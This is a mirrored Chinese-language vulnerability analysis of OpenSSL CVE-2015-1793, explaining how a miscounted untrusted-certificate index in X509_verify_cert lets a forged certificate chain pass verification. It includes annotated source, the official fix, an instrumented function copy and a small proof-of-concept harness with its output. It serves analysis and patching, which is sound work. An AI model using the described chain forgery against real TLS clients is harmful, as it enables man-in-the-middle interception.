menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 007-papers chevron_right 0275-OpenSSL-CVE-2015-1793漏洞分析.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    0275-OpenSSL-CVE-2015-1793漏洞分析.md
    19.81 KB / 2021-07-17 00:01:34
        # OpenSSL-CVE-2015-1793漏洞分析
    
    0x00 前言
    =======
    
    * * *
    
    OpenSSL官方在7月9日发布了编号为 CVE-2015-1793 的交叉证书验证绕过漏洞,其中主要影响了OpenSSL的1.0.1和1.0.2分支。1.0.0和0.9.8分支不受影响。
    
    360安全研究员au2o3t对该漏洞进行了原理上的分析,确认是一个绕过交叉链类型证书验证的高危漏洞,可以让攻击者构造证书来绕过交叉验证,用来形成诸如“中间人”等形式的攻击。
    
    0x01 漏洞基本原理
    ===========
    
    * * *
    
    直接看最简单的利用方法(利用方法包括但不限于此):
    
    攻击者从一公共可信的 CA (C)处签得一证书 X,并以此证书签发另一证书 V(含对X的交叉引用),那么攻击者发出的证书链 V, R (R为任意证书)对信任 C 的用户将是可信的。
    
    显然用户对 V, R 链的验证会返回失败。
    
    对不支持交叉链认证的老版本来说,验证过程将以失败结束。
    
    对支持交叉认证的版本,则将会尝试构建交叉链`V, X, C`,并继续进行验证。
    
    虽然`V, X, C`链能通过可信认证,但会因 X 的用法不包括 CA 而导致验证失败。
    
    但在 openssl-1.0.2c 版本,因在对交叉链的处理中,对最后一个不可信证书位置计数的错误,导致本应对 V, X 记为不可信并验证,错记为了仅对 V 做验证,而没有验证攻击者的证书 X,返回验证成功。
    
    0x02 具体漏洞分析
    ===========
    
    * * *
    
    漏洞代码位于文件:`openssl-1.0.2c/crypto/x509/x509_vfy.c`
    
    函数:`X509_verify_cert()`中
    
    第 392 行:`ctx->last_untrusted–;`
    
    对问题函数`X509_verify_cert`的简单分析:
    
    ( 为方便阅读,仅保留与证书验证强相关的代码,去掉了诸如变量定义、错误处理、资源释放等非主要代码)
    
    问题在于由`<1>`处加入颁发者时及`<2>`处验证(颁发者)后,证书链计数增加,但 最后一个不可信证书位置计数 并未增加, 而在`<4>`处去除过程中 最后一个不可信证书位置计数 额外减少了,导致后面验证过程中少验。
    
    (上述`V, X, C`链中应验`V, X`但少验了`X`)
    
    代码分析如下
    
    ```
    int X509_verify_cert(X509_STORE_CTX *ctx)
    {
        // 将 ctx->cert 做为不信任证书压入需验证链  ctx->chain
        // STACK_OF(X509) *chain 将被构造为证书链,并最终送到 internal_verify() 中去验证
        sk_X509_push(ctx->chain,ctx->cert); 
        // 当前链长度(==1)
        num = sk_X509_num(ctx->chain);
         // 取出第 num 个证书
        x = sk_X509_value(ctx->chain, num - 1);
         // 存在不信任链则复制之
        if (ctx->untrusted != NULL
            && (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
            X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
             goto end;
        }
         // 预设定的最大链深度(100)
        depth = param->depth;
        // 构造需验证证书链
        for (;;) {
            // 超长退出
            if (depth < num)
                break;
            // 遇自签退出(链顶)
            if (cert_self_signed(x))
                break;
             if (ctx->untrusted != NULL) {
                xtmp = find_issuer(ctx, sktmp, x);
                // 当前证书为不信任颁发者(应需CA标志)颁发
                if (xtmp != NULL) {
                    // 则加入需验证链
                    if (!sk_X509_push(ctx->chain, xtmp)) {
                        X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                        goto end;
                    }
                    CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
                    (void)sk_X509_delete_ptr(sktmp, xtmp);
                    // 最后一个不可信证书位置计数 自增1
                    ctx->last_untrusted++;
                    x = xtmp;
                    num++;
                    continue;
                }
            }
            break;
        }
        do {
            i = sk_X509_num(ctx->chain);
            x = sk_X509_value(ctx->chain, i - 1);
            // 若最顶证书是自签的
            if (cert_self_signed(x)) {
                // 若需验证链长度 == 1
                if (sk_X509_num(ctx->chain) == 1) {
                    // 在可信链中查找其颁发者(找自己)
                    ok = ctx->get_issuer(&xtmp, ctx, x);
    
                   // 没找到或不是相同证书
                    if ((ok <= 0) || X509_cmp(x, xtmp)) {
                        ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
                        ctx->current_cert = x;
                        ctx->error_depth = i - 1;
                        if (ok == 1)
                            X509_free(xtmp);
                        bad_chain = 1;
                        ok = cb(0, ctx);
                        if (!ok)
                            goto end;
                    // 找到
                    } else {
                        X509_free(x);
                        x = xtmp;
                        // 入到可信链
                        (void)sk_X509_set(ctx->chain, i - 1, x);
                        // 最后一个不可信证书位置计数 置0
                        ctx->last_untrusted = 0;
                    }
                // 最顶为自签证书 且 证书链长度>1
                } else {
                    // 弹出
                    chain_ss = sk_X509_pop(ctx->chain);
                    // 最后一个不可信证书位置计数 自减
                    ctx->last_untrusted--;
                    num--;
                    j--;
                    // 保持指向当前最顶证书
                    x = sk_X509_value(ctx->chain, num - 1);
                }
            }
            // <1>
            // 继续构造证书链(加入颁发者)
            for (;;) {
                // 自签退出
                if (cert_self_signed(x))
                    break;
                // 在可信链中查找其颁发者
                ok = ctx->get_issuer(&xtmp, ctx, x);
                // 出错
                if (ok < 0)
                    return ok;
                // 没找到
                if (ok == 0)
                     break;
                x = xtmp;
                // 将不可信证书的颁发者(证书)加入需验证证书链
                if (!sk_X509_push(ctx->chain, x)) {
                    X509_free(xtmp);
                    X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                    return 0;
                }
                num++;
            }
            // <2>
            // 验证 for(;;) 中加入的颁发者链
            i = check_trust(ctx);
            if (i == X509_TRUST_REJECTED)
                goto end;
            retry = 0;
             // <3>
            // 检查交叉链
            if (i != X509_TRUST_TRUSTED
                && !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
                && !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
                while (j-- > 1) {
                    xtmp2 = sk_X509_value(ctx->chain, j - 1);
                     // 其实得到一个“看似合理”的证书就返回,这里实际上仅仅根据 CN域 查找颁发者
                    ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
                    if (ok < 0)
                        goto end;
                    // 存在交叉链
                    if (ok > 0) {
                        X509_free(xtmp);
    
                        // 去除交叉链以上部分
                        while (num > j) {
                            xtmp = sk_X509_pop(ctx->chain);
                            X509_free(xtmp);
                            num--;
                            // <4>
                            // 问题所在
                            ctx->last_untrusted--;
                        }
                        // <5>
                        retry = 1;
                        break;
                    }
                }
            }
        } while (retry);
        ……
    }
    
    ```
    
    官方的解决方法是在`<5>`处重新计算 最后一个不可信证书位置计数 的值为链长:
    
    ```
    ctx->last_untrusted = sk_X509_num(ctx->chain);
    
    ```
    
    并去掉`<4>`处的 最后一个不可信证书位置计数 自减运算(其实去不去掉都无所谓)。 另一个解决办法可以是在`<1> <2>`后,在`<3>`处重置 最后一个不可信证书位置计数,加一行:
    
    ```
    ctx->last_untrusted = num;
    
    ```
    
    这样`<4>`处不用删除,而逻辑也是合理并前后一致的。
    
    0x03 漏洞验证
    =========
    
    * * *
    
    笔者修改了部分代码并做了个Poc 。 修改代码:
    
    ```
    int X509_verify_cert(X509_STORE_CTX *ctx)
    {
        X509 *x, *xtmp, *xtmp2, *chain_ss = NULL;
        int bad_chain = 0;
        X509_VERIFY_PARAM *param = ctx->param;
        int depth, i, ok = 0;
        int num, j, retry;
        int (*cb) (int xok, X509_STORE_CTX *xctx);
        STACK_OF(X509) *sktmp = NULL;
        if (ctx->cert == NULL) {
            X509err(X509_F_X509_VERIFY_CERT, X509_R_NO_CERT_SET_FOR_US_TO_VERIFY);
            return -1;
        }
    
        cb = ctx->verify_cb;
    
        /*
         * first we make sure the chain we are going to build is present and that
         * the first entry is in place
         */
        if (ctx->chain == NULL) {
            if (((ctx->chain = sk_X509_new_null()) == NULL) ||
                (!sk_X509_push(ctx->chain, ctx->cert))) {
                X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                goto end;
            }
            CRYPTO_add(&ctx->cert->references, 1, CRYPTO_LOCK_X509);
            ctx->last_untrusted = 1;
        }
    
        /* We use a temporary STACK so we can chop and hack at it */
        if (ctx->untrusted != NULL
            && (sktmp = sk_X509_dup(ctx->untrusted)) == NULL) {
            X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
            goto end;
        }
    
        num = sk_X509_num(ctx->chain);
        x = sk_X509_value(ctx->chain, num - 1);
        depth = param->depth;
    
        for (;;) {
            /* If we have enough, we break */
            if (depth < num)
                break;              /* FIXME: If this happens, we should take
                                     * note of it and, if appropriate, use the
                                     * X509_V_ERR_CERT_CHAIN_TOO_LONG error code
                                     * later. */
    
            /* If we are self signed, we break */
            if (cert_self_signed(x))
                break;
    
            /*
             * If asked see if we can find issuer in trusted store first
             */
            if (ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST) {
                ok = ctx->get_issuer(&xtmp, ctx, x);
                if (ok < 0)
                    return ok;
                /*
                 * If successful for now free up cert so it will be picked up
                 * again later.
                 */
                if (ok > 0) {
                    X509_free(xtmp);
                    break;
                }
            }
    
            /* If we were passed a cert chain, use it first */
            if (ctx->untrusted != NULL) {
                xtmp = find_issuer(ctx, sktmp, x);
                if (xtmp != NULL) {
                    if (!sk_X509_push(ctx->chain, xtmp)) {
                        X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                        goto end;
                    }
                    CRYPTO_add(&xtmp->references, 1, CRYPTO_LOCK_X509);
                    (void)sk_X509_delete_ptr(sktmp, xtmp);
                    ctx->last_untrusted++;
                    x = xtmp;
                    num++;
                    /*
                     * reparse the full chain for the next one
                     */
                    continue;
                }
            }
            break;
        }
    
        /* Remember how many untrusted certs we have */
        j = num;
        /*
         * at this point, chain should contain a list of untrusted certificates.
         * We now need to add at least one trusted one, if possible, otherwise we
         * complain.
         */
    
        do {
            /*
             * Examine last certificate in chain and see if it is self signed.
             */
            i = sk_X509_num(ctx->chain);
            x = sk_X509_value(ctx->chain, i - 1);
            if (cert_self_signed(x)) {
                /* we have a self signed certificate */
                if (sk_X509_num(ctx->chain) == 1) {
                    /*
                     * We have a single self signed certificate: see if we can
                     * find it in the store. We must have an exact match to avoid
                     * possible impersonation.
                     */
                    ok = ctx->get_issuer(&xtmp, ctx, x);
                    if ((ok <= 0) || X509_cmp(x, xtmp)) {
                        ctx->error = X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT;
                        ctx->current_cert = x;
                        ctx->error_depth = i - 1;
                        if (ok == 1)
                            X509_free(xtmp);
                        bad_chain = 1;
                        ok = cb(0, ctx);
                        if (!ok)
                            goto end;
                    } else {
                        /*
                         * We have a match: replace certificate with store
                         * version so we get any trust settings.
                         */
                        X509_free(x);
                        x = xtmp;
                        (void)sk_X509_set(ctx->chain, i - 1, x);
                        ctx->last_untrusted = 0;
                    }
                } else {
                    /*
                     * extract and save self signed certificate for later use
                     */
                    chain_ss = sk_X509_pop(ctx->chain);
                    ctx->last_untrusted--;
                    num--;
                    j--;
                    x = sk_X509_value(ctx->chain, num - 1);
                }
            }
            /* We now lookup certs from the certificate store */
            for (;;) {
                /* If we have enough, we break */
                if (depth < num)
                    break;
                /* If we are self signed, we break */
                if (cert_self_signed(x))
                    break;
                ok = ctx->get_issuer(&xtmp, ctx, x);
    
                if (ok < 0)
                    return ok;
                if (ok == 0)
                    break;
                x = xtmp;
                if (!sk_X509_push(ctx->chain, x)) {
                    X509_free(xtmp);
                    X509err(X509_F_X509_VERIFY_CERT, ERR_R_MALLOC_FAILURE);
                    return 0;
                }
                num++;
            }
    
            /* we now have our chain, lets check it... */
            i = check_trust(ctx);
    
            /* If explicitly rejected error */
            if (i == X509_TRUST_REJECTED)
                goto end;
    
            /*
             * If it's not explicitly trusted then check if there is an alternative
             * chain that could be used. We only do this if we haven't already
             * checked via TRUSTED_FIRST and the user hasn't switched off alternate
             * chain checking
             */
            retry = 0;
    // <1>
    //ctx->last_untrusted = num;            
    
    
            if (i != X509_TRUST_TRUSTED
                && !(ctx->param->flags & X509_V_FLAG_TRUSTED_FIRST)
                && !(ctx->param->flags & X509_V_FLAG_NO_ALT_CHAINS)) {
                while (j-- > 1) {
                    xtmp2 = sk_X509_value(ctx->chain, j - 1);
                    ok = ctx->get_issuer(&xtmp, ctx, xtmp2);
                    if (ok < 0)
                        goto end;
                    /* Check if we found an alternate chain */
                    if (ok > 0) {
                        /*
                         * Free up the found cert we'll add it again later
                         */
                        X509_free(xtmp);
    
                        /*
                         * Dump all the certs above this point - we've found an
                         * alternate chain
                         */
                        while (num > j) {
                            xtmp = sk_X509_pop(ctx->chain);
                            X509_free(xtmp);
                            num--;
                            ctx->last_untrusted--;
                        }
                        retry = 1;
                        break;
                    }
                }
            }
        } while (retry);
    
    printf(" num=%d, real-num=%d\n", ctx->last_untrusted, sk_X509_num(ctx->chain) );
        /*
         * If not explicitly trusted then indicate error unless it's a single
         * self signed certificate in which case we've indicated an error already
         * and set bad_chain == 1
         */
    
    
        if (i != X509_TRUST_TRUSTED && !bad_chain) {
            if ((chain_ss == NULL) || !ctx->check_issued(ctx, x, chain_ss)) {
                if (ctx->last_untrusted >= num)
                    ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY;
                else
                    ctx->error = X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT;
                ctx->current_cert = x;
            } else {
                sk_X509_push(ctx->chain, chain_ss);
                num++;
                ctx->last_untrusted = num;
                ctx->current_cert = chain_ss;
                ctx->error = X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN;
                chain_ss = NULL;
            }
    
            ctx->error_depth = num - 1;
            bad_chain = 1;
            ok = cb(0, ctx);
            if (!ok)
                goto end;
        }
    printf("flag=1\n");
        /* We have the chain complete: now we need to check its purpose */
        ok = check_chain_extensions(ctx);
    
        if (!ok)
            goto end;
    
    printf("flag=2\n");
        /* Check name constraints */
    
        ok = check_name_constraints(ctx);
    
        if (!ok)
            goto end;
    printf("flag=3\n");
        ok = check_id(ctx);
    
        if (!ok)
            goto end;
    printf("flag=4\n");
        /* We may as well copy down any DSA parameters that are required */
        X509_get_pubkey_parameters(NULL, ctx->chain);
    
        /*
         * Check revocation status: we do this after copying parameters because
         * they may be needed for CRL signature verification.
         */
    
        ok = ctx->check_revocation(ctx);
        if (!ok)
            goto end;
    printf("flag=5\n");
        i = X509_chain_check_suiteb(&ctx->error_depth, NULL, ctx->chain,
                                    ctx->param->flags);
        if (i != X509_V_OK) {
            ctx->error = i;
            ctx->current_cert = sk_X509_value(ctx->chain, ctx->error_depth);
            ok = cb(0, ctx);
            if (!ok)
                goto end;
        }
    printf("flag=6\n");
        /* At this point, we have a chain and need to verify it */
        if (ctx->verify != NULL)
            ok = ctx->verify(ctx);
        else
            ok = internal_verify(ctx);
        if (!ok)
            goto end;
    printf("flag=7\n");
    #ifndef OPENSSL_NO_RFC3779
        /* RFC 3779 path validation, now that CRL check has been done */
        ok = v3_asid_validate_path(ctx);
        if (!ok)
            goto end;
        ok = v3_addr_validate_path(ctx);
        if (!ok)
            goto end;
    #endif
    
    printf("flag=8\n");
        /* If we get this far evaluate policies */
        if (!bad_chain && (ctx->param->flags & X509_V_FLAG_POLICY_CHECK))
            ok = ctx->check_policy(ctx);
        if (!ok)
            goto end;
        if (0) {
     end:
            X509_get_pubkey_parameters(NULL, ctx->chain);
        }
        if (sktmp != NULL)
            sk_X509_free(sktmp);
        if (chain_ss != NULL)
            X509_free(chain_ss);
    printf("ok=%d\n", ok );        
        return ok;
    }
    
    Poc:
    ?
    //
    //里头的证书文件自己去找一个,这个不提供了
    //
    #include <stdio.h>
    #include <openssl/crypto.h>
    #include <openssl/bio.h>
    #include <openssl/x509.h>
    #include <openssl/pem.h>
    
    
    STACK_OF(X509) *load_certs_from_file(const char *file)
    {
        STACK_OF(X509) *certs;
        BIO *bio;
        X509 *x;
        bio = BIO_new_file( file, "r");
        certs = sk_X509_new_null();
        do
        {
            x = PEM_read_bio_X509(bio, NULL, 0, NULL);
            sk_X509_push(certs, x);
        }while( x != NULL );
    
        return certs;
    }
    
    
    void test(void)
    {
        X509 *x = NULL;
        STACK_OF(X509) *untrusted = NULL;
        BIO *bio = NULL;
        X509_STORE_CTX *sctx = NULL;
        X509_STORE *store = NULL;
        X509_LOOKUP *lookup = NULL;
    
        store = X509_STORE_new();
        lookup = X509_STORE_add_lookup( store, X509_LOOKUP_file() );
        X509_LOOKUP_load_file(lookup, "roots.pem", X509_FILETYPE_PEM);
        untrusted = load_certs_from_file("untrusted.pem");
        bio = BIO_new_file("bad.pem", "r");
        x = PEM_read_bio_X509(bio, NULL, 0, NULL);
        sctx = X509_STORE_CTX_new();
        X509_STORE_CTX_init(sctx, store, x, untrusted);
        X509_verify_cert(sctx);
    }
    
    int main(void)
    {
        test();
        return 0;
    }
    
    ```
    
    将代码中`X509_verify_cert()`函数加入输出信息如下: 编译,以伪造证书测试,程序输出信息为:
    
    ```
    num=1, real-num=3
    flag=1
    flag=2
    flag=3
    flag=4
    flag=5
    flag=6
    flag=7
    flag=8
    ok=1
    
    ```
    
    认证成功 将`<1>`处注释代码去掉,编译,再以伪造证书测试,程序输出信息为:
    
    ```
    num=3, real-num=3
    flag=1
    ok=0
    
    ```
    
    认证失败
    
    0x04 安全建议
    =========
    
    * * *
    
    建议使用受影响版本(`OpenSSL 1.0.2b/1.0.2c`和`OpenSSL 1.0.1n/1.0.1o`)的 产品或代码升级OpenSSL到最新版本
    
    links
    file_download